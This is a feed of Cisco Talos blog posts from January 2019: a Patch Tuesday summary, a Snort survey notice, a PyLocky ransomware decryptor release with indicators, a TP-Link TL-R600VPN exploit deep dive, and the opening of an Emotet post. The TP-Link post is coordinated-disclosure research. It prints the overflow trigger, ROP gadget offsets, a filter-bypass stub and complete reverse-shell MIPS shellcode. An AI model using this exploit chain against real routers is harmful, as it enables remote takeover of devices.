Quantcast
Channel: Cisco Talos Blog
Viewing all 2014 articles
Browse latest View live
↧

Microsoft Patch Tuesday — January 2019: Vulnerability disclosures and Snort coverage

January 8, 2019, 11:40 am
$
0
0

Microsoft released its monthly security update today, disclosing a variety of vulnerabilities in several of its products. The latest Patch Tuesday covers 49 vulnerabilities, seven of which are rated “critical,” 40 that are considered “important” and one that is “moderate.” This release also includes a critical security advisory for multiple bugs in Adobe Flash Player.

This month’s security update covers security issues in a variety of Microsoft’s products, including the Jet Database Engine, Office SharePoint and the Chakra Scripting Engine. For coverage of these vulnerabilities, read the SNORTⓇ blog post here.

Critical vulnerabilities


Microsoft disclosed seven critical vulnerabilities this month, which we will highlight below.

CVE-2019-0550 and CVE-2019-0551 are remote code execution vulnerabilities in Windows Hyper-V, a native hypervisor that can create virtual machines. These bugs exist due to the way a host server fails to properly validate input from an authenticated user on a guest operating system. An attacker could exploit these vulnerabilities by running a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.

CVE-2019-0539, CVE-2019-0567 and CVE-2019-0568 are memory corruption vulnerabilities in the way the Chakra Scripting Engine handles objects in memory on the Microsoft Edge web browser. An attacker could corrupt memory in a way that would allow them to execute code in the context of the current user. In order to trigger this vulnerability, a user would have to visit a specially crafted, malicious web page in Edge.

CVE-2019-0547 is a memory corruption vulnerability in the Windows DHCP client that exists when an attacker sends specially crafted DHCP responses to a client. An attacker could gain the ability to run arbitrary code on the client machine if they successfully exploit this vulnerability.

CVE-2019-0565 is a memory corruption vulnerability in Microsoft Edge that occurs when the web browser improperly handles objects in memory. An attacker could corrupt memory in a way that would allow them to execute arbitrary code in the context of the current user. A user would trigger this vulnerability if they visited a specially crafted, malicious web page in Edge.

Important vulnerabilities

This release also contains 40 important vulnerabilities, four of which we will highlight below.

CVE-2019-0555 is an escalation of privilege vulnerability in the Microsoft XmlDocument class that could allow an attacker to escape the AppContainer sandbox. An attacker could exploit this flaw to gain elevated privileges and break out of the Microsoft Edge AppContainer sandbox. While this vulnerability does not allow arbitrary code to run explicitly, it could be combined with other vulnerabilities to take advantage fo the elevated privileges while running.

CVE-2019-0572, CVE-2019-0573 and CVE-2019-0574 are elevation of privilege vulnerabilities in Windows Data Sharing that lie in the way the service improperly handles file operations. An attacker could exploit this vulnerability by running a specially crafted application to gain the ability to run processes in an elevated context.


Moderate

The only moderate vulnerability in this release is CVE-2019-0546, a remote code execution vulnerability in Microsoft Visual Studio.

Coverage 

In response to these vulnerability disclosures, Talos is releasing the following SNORTⓇ rules that detect attempts to exploit them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Firepower customers should use the latest update to their ruleset by updating their SRU. Open Source Snort Subscriber Rule Set customers can stay up-to-date by downloading the latest rule pack available for purchase on Snort.org.

Snort rules: 48768 - 48770, 48773 - 48780, 48783, 48787 - 48790, 48793 - 48795, 48798, 48807 - 48810, 48876

↧
Search

Why we want users' feedback on Snort rule documentation

January 9, 2019, 11:06 am
$
0
0
Today, Talos is launching a new community survey to solicit feedback on SNORTⓇ documentation.

When Snort alerts the end user, the rule documentation is their first and possibly only avenue to find information on malicious traffic in their network. We know this can be better, and we want your help in determining what we can do to make Snort users more knowledgable and provide them more information.

So, we’re polling the community to find out what they need. To facilitate this, we’re sending out a five-minute survey to all users. We also plan to add feedback options to Snort documentation pages so users can communicate with us on an ongoing basis.

With the feedback we receive from the survey, our analysts can provide targeted information to communicate the most useful details on rule alerts. The more information we gather on customer frustrations, the better chance we have of finding ways to solve them to create a community and customer base with the right arsenal to overcome their security challenges.

For more information on this survey process, read the entire Snort blog post on this matter here. You can fill out the survey here.

↧
↧

Pylocky Unlocked: Cisco Talos releases PyLocky ransomware decryptor

January 10, 2019, 7:56 am
$
0
0
This tool was developed by Mike Bautista.


PyLocky is a family of ransomware written in Python that attempts to masquerade as a Locky variant. This ransomware will encrypt all files on a victim machine before demanding that the user pay a ransom to gain access to their decrypted files. To combat this ransomware, Cisco Talos is releasing a free decryption tool. Because our tool requires the capturing of the initial PyLocky command and control (C2) traffic of an infected machine, it will only work to recover the files on an infected machine where network traffic has been monitored. If the initial C2 traffic has not been captured, our decryption tool will not be able to recover files on an infected machine. This is because the initial callout is used by the malware to send the C2 servers information that it uses in the encryption process.

When PyLocky executes, it generates a random user ID and password and gathers information about the infected machine using WMI wrappers. It also generates a random initialization vector, or IV, which is then base64 encoded and sent to the C2 server along with the system information the malware has gathered. After obtaining the absolute path of every file on the system, the malware then calls the encryption algorithm, passing it the IV and password. Each file is first base64-encoded before it is encrypted. The malware appends the extension ".lockedfile" to each file it encrypts - for example, the file "picture.jpg" would become "picture.jpg.lockedfile." The original file is then overwritten with the attacker's ransom note.


Example of a PyLocky ransom note.

Talos encourages users never to pay an attacker-demanded ransom, as this rarely results in the recovery of encrypted files. Rather, victims of this ransomware should restore from backups if their files cannot be decrypted. Just as in the June 2017 Nyetya attack, Talos has observed on numerous occasions that attackers who are demanding ransoms may have no way to communicate with victims to provide a decryptor. Our free decryption tool can be downloaded here.

Indicators of Compromise


Domain Names

centredentairenantes[.]fr
panicpc[.]fr
savigneuxcom.securesitefr[.]com


Hashes

1569F6FD28C666241902A19B205EE8223D47CCCDD08C92FC35E867C487EBC999

2A244721FF221172EDB788715D11008F0AB50AD946592F355BA16CE97A23E055

87AADC95A8C9740F14B401BD6D7CC5CE2E2B9BEEC750F32D1D9C858BC101DFFA

C9C91B11059BD9AC3A0AD169DEB513CEF38B3D07213A5F916C3698BB4F407FFA

Coverage



Ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of this malware.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.

Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

Open Source SNORTⓇ Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

↧

Vulnerability Deep Dive: TP-Link TL-R600VPN remote code execution vulnerabilities

January 15, 2019, 12:02 pm
$
0
0
Vulnerability discovery and research by Jared Rittle and Carl Hurd of Cisco Talos.





Introduction


TP-Link recently patched three vulnerabilities in their TL-R600VPN gigabit broadband VPN router, firmware version 1.3.0. Cisco Talos publicly disclosed these issues after working with TP-Link to ensure that a patch was available. Now that a fix is out there, we want to take the time to dive into the inner workings of these vulnerabilities and show the approach we took with our proof-of-concept code.

Background


The TP-Link TL-R600VPN is a five-port small office/home office (SOHO) router. This device contains a Realtek RTL8198 integrated system on a chip. This particular chip uses an offshoot of the MIPS-1 architecture developed by Lexra. Except for a few proprietary instructions for handling unaligned load and store operations, these two instruction sets are essentially the same. The instructions that are not included in Lexra are LWL, SWL, LWR, and SWR. These proprietary instructions are often used when compiling a program for the more common MIPS-1 architecture and cause a segfault when encountered in Lexra. The knowledge of this key difference is imperative to assembling working code for the target.

For more information about Lexra MIPS and its differences with the MIPS-1 architecture, refer to 'The Lexra Story' and the MIPS-1 patent filing.


Recon


Understanding the vulnerability


The device contains a vulnerability in the way that the HTTP server handles requests to the /fs/ directory, allowing an authenticated attacker to remotely execute code on the device.

When accessing any of the following pages in the /fs/ directory, the application incorrectly parses the passed HTTP header.

  • http://<router_ip>/fs/help
  • http://<router_ip>/fs/images
  • http://<router_ip>/fs/frames
  • http://<router_ip>/fs/dynaform
  • http://<router_ip>/fs/localiztion (NOTE: this is not a typo)

In the function 'httpGetMimeTypeByFileName', the web server attempts to parse the file extension of the requested page to determine its mime type. During this processing, the server uses a strlen() call to determine the length of the requested page name, seeks to the end of that heap-allocated string, and reads the file extension backwards until it encounters a period (0x2e).

#
# calculates the length of the uri and seeks to the end
#
LOAD:00425CDC loc_425CDC:
LOAD:00425CDC                 la $t9, strlen
LOAD:00425CE0                 sw $zero, 0x38+var_20($sp)
LOAD:00425CE4                 jalr $t9 ; strlen
LOAD:00425CE8                 sh $zero, 0x38+var_1C($sp)
LOAD:00425CEC                 addu $s0, $v0


# looks for a period at the current index and break out when found
LOAD:00425CF0                 li $v0, 0x2E            
LOAD:00425CF4                 lbu $v1, 0($s0)
LOAD:00425CF8                 lw $gp, 0x38+var_28($sp)
LOAD:00425CFC                 beq $v1, $v0, loc_425D14
LOAD:00425D00                 li $v1, 0b101110
LOAD:00425D04


# loop backwards until a period is found, loading the character into $s0
LOAD:00425D04 loc_425D04:                                                
LOAD:00425D04                 addiu $s0, -1
LOAD:00425D08                 lbu $v0, 0($s0)             
LOAD:00425D0C                 bne $v0, $v1, loc_425D04
LOAD:00425D10                 nop


There should always be an extension on the requested page, preventing the vulnerable case from occurring. This can be seen in the GDB strings output below for the non-malicious page /web/dynaform/css_main.css where the file extension 'css' will be parsed out.

0x67a170:        "/web/dynaform/css_main.css"
0x67a18b:        "46YWRtaW4="
0x67a196:        "\nConnection: close\r\n\r\nWRtaW4=\r\nConnection: close\r\n\r\n6YWRtaW4=\r\nConnection: close\r\n\r\n46YWRtaW4=\r\nConnection: close\r\n\r\ntaW4=\r\nConnection: close\r\n\r\n http://192.168.0.1/\r\nAuthorization: Basic YWRtaW46YWRt"...
0x67a25e:        "aW4=\r\nConnection: close\r\n\r\nnnection: close\r\n\r\n"
0x67a28d:        ""
0x67a28e:        ""
0x67a28f:        ""
0x67a290:        ""


If, however, we request one of the vulnerable pages we can see that the URI that gets parsed does not contain a period (0x2e). Due to this, the application will continue to search backwards until a period is reached. In this case, there is not a period between the URI being parsed and the raw GET request data stored earlier on the heap (shown below at address 0x679960), allowing us to seek backwards into our payload. This can be seen at address 0x67a170 in the GDB strings output below for the malicious page /fs/help where no file extension is being parsed.

...
0x679960:        "/fs/help"
0x679969:        "elp"
0x67996d:        "HTTP/1.1"
0x679976:        "\n"
0x679978:        "ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q"...
0x679a40:        "=0.5\r\nAccept-Encoding: gzip, deflate\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\n"                                                   
0x679ac1:        ""
0x679ac2:        ""
0x679ac3:        ""
0x679ac4:        ""
0x679ac5:        ""
...
0x67a165:        "gp"
0x67a169:        ""
0x67a16a:        "\b"
0x67a16c:        ""
0x67a16d:        ""
0x67a16e:        ""
0x67a16f:        ""
0x67a170:        "/web/help"
0x67a17a:        "secure-Requests"
0x67a18a:        " 1"
0x67a18d:        "\n\r\nure-Requests: 1\r\n\r\nclose\r\nUpgrade-Insecure-Requests: 1\r\n\r\nUpgrade-Insecure-Requests: 1\r\n\r\n\nUpgrade-Insecure-Requests: 1\r\n\r\nsic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\na"...
0x67a255:        "tion: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\nure-Requests: 1\r\n\r\n"
0x67a2ba:        ""
0x67a2bb:        ""
0x67a2bc:        ""
...

When a period is encountered, in either the expected file extension or the vulnerable case, the extracted string is processed by the toUpper() function, character by character, in the loop. The result of this operation is then written to a stack-based buffer by a store byte instruction. This can be seen in the instructions pulled from the aforementioned loop, which can be seen below.

#
# loads parsed data onto stack via a store byte call from $s0 register
#
LOAD:00425D20 loc_425D20:
LOAD:00425D20                 lbu $a0, 0($a0)


# returns an uppercase version of the character where possible
LOAD:00425D24                 jalr $t9 ; toUpper             
LOAD:00425D28                 nop


# $gp references $s2, the place for the next char on the stack buffer
LOAD:00425D2C                 lw $gp, 0x38+var_28($sp)
            
# stores the character into $s2
LOAD:00425D30                 sb $v0, 0($s2)             
LOAD:00425D34


# calculates the length of the entire user-supplied string
LOAD:00425D34 loc_425D34:
LOAD:00425D34                 la $t9, strlen
LOAD:00425D38                 jalr $t9 ; strlen
                    
# place a pointer to the parsed data into arg0
LOAD:00425D3C                 move $a0, $s0             
LOAD:00425D40                 addiu $v1, $sp, 0x38+var_20
LOAD:00425D44                 lw $gp, 0x38+var_28($sp)
LOAD:00425D48                 sltu $v0, $s1, $v0
LOAD:00425D4C                 addu $a0, $s0, $s1
LOAD:00425D50                 addu $s2, $v1, $s1
LOAD:00425D54                 la $t9, toupper


The program continues execution until it reaches the httpGetMimeTypeByFileName function epilogue where the return address and five registers are loaded from their saved values on the stack. When the vulnerability is being exploited, these saved values have been overwritten from their normal data to contain the addresses of the gadgets described later.

#
# registers get overwritten with saved values on the stack
#
LOAD:00425DB4 loc_425DB4:
LOAD:00425DB4
LOAD:00425DB4                 lw $ra, 0x38+var_4($sp)
LOAD:00425DB8                 lw $s4, 0x38+var_8($sp)
LOAD:00425DBC                 lw $s3, 0x38+var_C($sp)
LOAD:00425DC0                 lw $s2, 0x38+var_10($sp)
LOAD:00425DC4                 lw $s1, 0x38+var_14($sp)
LOAD:00425DC8                 lw $s0, 0x38+var_18($sp)
LOAD:00425DCC                 jr $ra             
LOAD:00425DD0                 addiu $sp, 0x38
LOAD:00425DD0  # End of function httpGetMimeTypeByFileName


At this point in the function epilogue, the loop copying data to a set buffer has overwritten the original data on the stack. By popping the data off of the stack that the program expects to be unmodified, the user gains control of the return address. This also means the user has the ability to remotely execute code in the context of the HTTPD process.

toUpper() filter


During the initial parsing of the HTTP header, the device iterates over each byte searching for a period (0x2e) and building a buffer. After a period is encountered, the buffer is passed to a toUpper() call, converting each ASCII character in the buffer to its uppercase equivalent.

LOAD:00425D20 loc_425D20:
LOAD:00425D20                 lbu $a0, 0($a0)
# returns an upper case version of the character where possible
LOAD:00425D24                 jalr $t9 ; toUpper             
LOAD:00425D28                 nop

This creates a problem when attempting to send shellcode via the HTTP header, as there is no way to avoid the toUpper() call, preventing the use of any lowercase characters. Take the GET request below, for example.

GET /fs/help HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Content-Length: 2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 4


We can see that the 'a' characters (0x61) in our header have been converted to their uppercase version (0x41) by looking at the registers just before the final jump in the httpGetMimeTypeByFileName function epilogue is executed.


(GDB) i r

i r

         zero at       v0 v1 a0       a1 a2 a3

R0   00000000 10000400 00514004 00000035 7dfff821 0051432d 01010101 80808080

           t0 t1      t2 t3 t4       t5 t6 t7

R8   00000002 fffffffe 00000000 00000006 19999999 00000000 00000057 00425d2c

           s0 s1      s2 s3 s4       s5 s6 s7

R16  41414141 41414141 41414141 41414141 41414141 006798f4 006798d0 00000000

           t8 t9      k0 k1 gp       sp s8 ra

R24  00000132 2ab02820 00000000 00000000 00598790 7dfff808 7dfffa62 41414141

       status     lo hi badvaddr    cause pc

     0000040c 00059cf8 000001fa 00590cac 00000024 00425dcc
(GDB)

What do we have here



Additional examination of the registers shown above revealed that a pointer to a location predictably close to the original header data is left laying around after the toUpper() call.

While broken on the final jump in the httpGetMimeTypeByFileName function epilogue, we can examine the data on the stack and find that a portion of our now uppercase header data, including the payload, is stored there.

(GDB) x/32s $sp
x/32s $sp
0x7dfff808:      ""
0x7dfff809:      ""
...
0x7dfff81f:      ""
0x7dfff820:      "5\r\n", 'A' <repeats 197 times>...
0x7dfff8e8:      'A' <repeats 200 times>...
0x7dfff9b0:      'A' <repeats 200 times>...
0x7dfffa78:      'A' <repeats 200 times>...
0x7dfffb40:      'A' <repeats 143 times>, "\r\nCONTENT-LENGTH: 0\r\nACCEPT-ENCODING: GZIP, DEFLATE\r\nAUTH"...
0x7dfffc08:      "ORIZATION: BASIC YWRTAW46YWRTAW4=\r\nCONNECTION: KEEP-ALIVE\r\nUPGRADE-INSECURE-REQUESTS: 1\r\nCONTENT-LENGTH: 0\r\n\r\n"
0x7dfffc77:      ""
0x7dfffc78:      ""
0x7dfffc79:      ""
...
(GDB)


By contrast, if we examine the data following the location pointed to by register $s5, we see that the raw header data is still accessible.

(GDB) x/32s $s5+0x64
x/32s $s5+0x64
0x679958:        ""
0x679959:        ""
...
0x67995f:        ""
0x679960:        "/fs/help"
0x679969:        "elp"
0x67996d:        "HTTP/1.1"
0x679976:        "\n"
0x679978:        "ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q"...
0x679a40:        "=0.5\r\n", 'a' <repeats 194 times>...
0x679b08:        'a' <repeats 200 times>...
0x679bd0:        'a' <repeats 200 times>...
0x679c98:        'a' <repeats 200 times>...
0x679d60:        'a' <repeats 146 times>, "\r\nContent-Length: 0\r\nAccept-Encoding: gzip, deflate\r\nA"...
0x679e28:        "uthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nContent-Length: 0\r\n\r\n"
0x679e9a:        ""
0x679e9b:        ""
...
(GDB)

Examining the permissions for that section of memory revealed that the range is executable, giving an initial thought of jumping directly to the raw header.

# cat /proc/12518/maps
cat /proc/12518/maps
00400000-00538000 r-xp 00000000 1f:02 69         /usr/bin/httpd
00578000-00594000 rw-p 00138000 1f:02 69         /usr/bin/httpd
00594000-006a6000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0          /SYSV0000002f (deleted)
2aaec000-2aaed000 r--p 00004000 1f:02 359        /lib/ld-uClibc-0.9.30.so
...
7f401000-7f600000 rwxp 00000000 00:00 0
7fcf7000-7fd0c000 rwxp 00000000 00:00 0          [stack]


This ended up not being a worthwhile path due to limitations introduced by toUpper() and an earlier strcmp(). The usage of toUpper() created a condition where any lower case letter had to be considered a bad character. Additionally, since our data passes through a strcmp() call, we could not use any null bytes. These calls left us unable to use any of the following bytes: 0x00, 0x61-0x7a.

Exploitation


Bypassing toUpper()


To get around the issue posed by toUpper(), we created a small piece of code calling memcpy() that does not use any lowercase characters or null bytes to execute after gaining control of $ra. With this code, we were able to copy the header data onto the stack in its original form and jump to it for execution.

move    $a0, $t9         # put the stack pointer into arg1
addiu   $a0, 0x12C       # increase arg1 so we don’t overwrite this code
addiu   $a1, $s5, 0x198  # load the raw header data pointer into arg2
li      $a2, 0x374       # load the size into arg3
li      $t9, 0x2AB01E20  # load $t9 with the address of memcpy()
jalr    $t9         # call memcpy()
move    $t8, $t3         # placeholder to handle delay slot without nulls
move    $t9, $sp         # prep $t9 with the stack pointer
addiu   $t9, 0x14C       # increase the $t9 pointer to the raw header
jalr    $t9         # execute the raw header on the stack
move    $t8, $t3         # placeholder to handle delay slot without nulls


Before we could use this technique, we needed to find a way to gain execution of our memcpy() code. On this device we are fortunate to have an executable stack, however, we did not know where our code would end up. We ended up using a modified ret2libc technique, allowing us to leverage gadgets from uClibc to obtain a pointer to the stack and set up registers for our code.

Our first gadget, located at the uClibc offset address of 0x0002fc84, was used to increment the stack pointer by 0x20 to get past any of the memcpy shellcode. To ensure that control of the program execution was retained after this gadget returned we placed the address of our second gadget at the location 0x20+$sp as required below.

LOAD:0002FC84                 lw $ra, 0x20+var_8($sp)
LOAD:0002FC88                 jr $ra
LOAD:0002FC8C                 addiu $sp, 0x20

The second gadget, located at the uClibc offset address of 0x000155b0, was used to obtain a pointer to the incremented stack buffer. This placed the desired pointer into register $a1. We placed the address of our third gadget at the location 0x58+$sp as required below to ensure that control of the program execution was retained after this gadget returned.

LOAD:000155B0                 addiu $a1, $sp, 0x58+var_40
LOAD:000155B4                 lw $gp, 0x58+var_48($sp)
LOAD:000155B8                 sltiu $v0, 1
LOAD:000155BC                 lw $ra, 0x58+var_8($sp)
LOAD:000155C0                 jr $ra
LOAD:000155C4                 addiu $sp, 0x58


Finally, a gadget located at the uClibc offset address of 0x000172fc was used to jump into the stack buffer.

LOAD:000172FC                 move $t9, $a1
LOAD:00017300                 move $a1, $a2
LOAD:00017304                 sw $v0, 0x4C($a0)
LOAD:00017308                 jr $t9
LOAD:0001730C                 addiu $a0, 0x4C # 'L'


We needed to obtain uClibc's load address so that we could calculate the gadget's true location to successfully use these gadgets. Looking at the process memory map below, we can see that the executable version of uClibc is loaded at the address 0x2aaee000.

# cat /proc/12518/maps
cat /proc/12518/maps
00400000-00538000 r-xp 00000000 1f:02 69         /usr/bin/httpd
00578000-00594000 rw-p 00138000 1f:02 69         /usr/bin/httpd
00594000-006a6000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0          /SYSV0000002f (deleted)
2aaec000-2aaed000 r--p 00004000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaed000-2aaee000 rw-p 00005000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaee000-2ab21000 r-xp 00000000 1f:02 363        /lib/libuClibc-0.9.30.so
2ab21000-2ab61000 ---p 00000000 00:00 0
2ab61000-2ab62000 rw-p 00033000 1f:02 363        /lib/libuClibc-0.9.30.so
2ab62000-2ab66000 rw-p 00000000 00:00 0
2ab66000-2ab68000 r-xp 00000000 1f:02 349        /lib/librt-0.9.30.so
2ab68000-2aba7000 ---p 00000000 00:00 0
...
7f001000-7f200000 rwxp 00000000 00:00 0
7f200000-7f201000 ---p 00000000 00:00 0
7f201000-7f400000 rwxp 00000000 00:00 0
7f400000-7f401000 ---p 00000000 00:00 0
7f401000-7f600000 rwxp 00000000 00:00 0
7fcf7000-7fd0c000 rwxp 00000000 00:00 0          [stack]


By taking the load address of uClibc and adding it to the offset address obtained for each of the gadgets, we can get the usable address of the desired code. These addresses can then be strategically placed, causing the execution of our initial code, and subsequently, our payload.

LexraMIPS shellcode


While LexraMIPS is based off of the MIPS specification, it does deviate enough to cause inconsistencies when attempting to execute some standard MIPS instructions. Due to this, we chose to develop shellcode specifically for LexraMIPS, using a GCC toolchain found here. The code below takes the approach of creating a connection back to the attacker, duplicating stdin, stdout, and stderr into the socket file descriptor, and finally spawning a shell.

We start by opening a socket on the device, leveraging a nor technique to avoid any null bytes in our $t7 register. It should be noted that the MIPS $zero register does not contain any null bytes when used.

li $t7, -6           # set up $t7 with the value 0xfffffffa
nor $t7, $t7, $zero  # nor $t7 with zero to get the value 0x05 w/o nulls
addi $a0, $t7, -3    # $a0 must hold family (AF_INET - 0x02)
addi $a1, $t7, -3    # $a1 must hold type (SOCK_STREAM - 0x02)
slti $a2, $zero, -1  # $a2 must hold protocol (essentially unset - 0x00)
li $v0, 4183         # sets the desired syscall to 'socket'
syscall 0x40404      # triggers a syscall, removing null bytes


With a socket opened, we use a connect syscall to create a TCP connection from the device to the attacker. Null bytes were a particular issue in this step, as the default subnet for this device contained a zero. To avoid this issue, we leverage a technique that forced our prepped register values to overflow and result in the desired IP address without using null bytes.


sw $v0, -36($sp)     # puts the returned socket reference onto the stack
lw $a0, -36($sp)     # $a0 must hold the file descriptor - pulled from the stack
sw $a1, -32($sp)     # place socket type (SOCK_STREAM - 0x02) onto the stack
lui $t7, 8888        # prep the upper half of $t7 register with the port number
ori $t7, $t7, 8888   # or the $t7 register with the desired port number
sw $t7, -28($sp)     # place the port onto the stack
lui $t7, 0xc0a7      # put the first half of the ip addr into $t7 (192.166)
ori $t7, 0xff63      # put the second half of the ip addr into $t7 (255.99)
addiu $t7, 0x101     # fix the ip addr (192.166.255.99 --> 192.168.0.100)
sw $t7, -26($sp)     # put the ip address onto the stack
addiu $a1, $sp, -30  # put a pointer to the sockaddr struct into $a1
li $t7, -17          # load 0xffef into $t7 for later processing
nor $a2, $t7, $zero  # $a2 must hold the address length - 0x10
li $v0, 4170         # sets the desired syscall to 'connect'
syscall 0x40404      # triggers a syscall, removing null bytes


To ensure that the device accepted our input and properly displayed any output, it is necessary to duplicate the stdin, stdout, and stderr file descriptors. By duplicating each of these I/O file descriptors into our socket, we are able to successfully provide input to the device and view any output via the recently set up connection.


lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
lw $a1, -32($sp)     # put the stderr fd into $a1
li $v0, 4063         # sets the desired syscall to 'dup2'
syscall 0x40404      # triggers a syscall, removing null bytes
lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
addi $a1, $t7, -1    # put the stdout fd into $a1
li $v0, 4063         # sets the desired syscall to 'dup2'
syscall 0x40404      # triggers a syscall, removing null bytes
lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
addi $a1, $t7, -2    # put the stdin syscall into $a1
li $v0, 4063         # sets the desired syscall to 'dup2'
syscall 0x40404      # triggers a syscall, removing null bytes



Finally, we use an execve system call to spawn a shell locally on the device. Since this shell is spawned from our socket, and we already have control over stdin/stdout/stderr, we can control the new shell remotely through our connection.

lui $t7, 0x2f2f      # start building the command string    --> //
ori $t7, $t7, 0x6269 # continue building the command string --> bi
sw $t7, -20($sp)     # put the string so far onto the stack
lui $t7, 0x6e2f      # continue building the command string --> n/
ori $t7, $t7, 0x7368 # continue building the command string --> sh
sw $t7, -16($sp)     # put the next portion of the string onto the stack
sw $zero, -12($sp)   # null terminate the command string
addiu $a0, $sp, -20  # place a pointer to the command string into arg 1
sw $a0, -8($sp)      # place a pointer to the command string array onto the stack
sw $zero, -4($sp)    # null terminate the array
addiu $a1, $sp, -8   # load the pointer to our command string array into arg 2
slti $a2, $zero, -1  # sets $a2 to 0
li $v0, 4011         # sets the desired syscall to 'execve'
syscall 0x40404      # triggers a syscall, removing null bytes


With a functional shell on the device, we can continue with our post-exploitation analysis of the device.

Conclusion


Unfortunately these types of vulnerabilities are all to common in IoT devices. Attackers can find these issues and weaponize them to execute code on vulnerable devices. It is imperative that everyone realizes that IoT devices are computers, and like all computers, the software must be maintained to ensure the device is as secure as possible.

Talos will continue to discover and responsibly disclose vulnerabilities, working with vendors to ensure that customers are protected and provide additional deep-dive analysis when necessary. Finding and disclosing zero-day vulnerabilities via coordinated disclosure helps improve the overall security of the devices and software people use on a day-to-day basis. Talos is committed to this effort, developing programmatic ways to identify problems or flaws that could be otherwise exploited by malicious attackers.

For vulnerabilities Talos has disclosed, please refer to our vulnerability report portal.

You can also review our vulnerability disclosure policy here.


↧

Emotet re-emerges after the holidays

January 15, 2019, 1:14 pm
$
0
0
While Emotet has been around for many years and is one of the most well-known pieces of malware in the wild, that doesn't mean attackers don't try to freshen it up. Cisco Talos recently discovered several new campaigns distributing the infamous banking trojan via email. These new campaigns have been observed following a period of relatively low Emotet distribution activity, corresponding with the observance of Orthodox Christmas in certain geographic regions. These new malicious efforts involve sending victims malicious Microsoft Word attachments with embedded macros that download Emotet.

This latest strain has also gained the ability to check if the infected IP where the malicious email is being sent from is already blacklisted on a spam list. This could allow attackers to deliver more emails to users' inboxes without any pushback from spam filters.

Emotet Overview


